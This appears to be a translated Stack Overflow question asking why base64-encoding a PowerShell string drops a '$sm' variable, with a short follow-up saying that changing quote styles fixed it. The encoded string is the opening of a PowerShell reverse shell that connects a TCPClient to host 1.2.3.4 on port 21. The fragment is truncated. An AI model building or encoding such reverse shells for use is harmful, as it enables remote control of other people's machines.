当我尝试在powershell中转换以下代码时:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("**$sm=**(New-Object Net.Sockets.TCPClient('1.2.3.4',21)).GetStream();[byte[]]$b ..etc ..etc ..etc
结果base64编码字符串执行失败。
我得到了没有$sm的"**+** =(New-Object Net.Sockets.TCPClient"。
结果是"+“而不是$sm??
如何对它进行编码,以便将$包含到我的代码中,以便正确运行它?
发布于 2017-06-30 15:12:39
Mathias R. Jessen,你说得太对了!我已经将代码中的单引号改为双引号,并用单引号将其包含在内。谢谢你!!
https://stackoverflow.com/questions/44839852
复制相似问题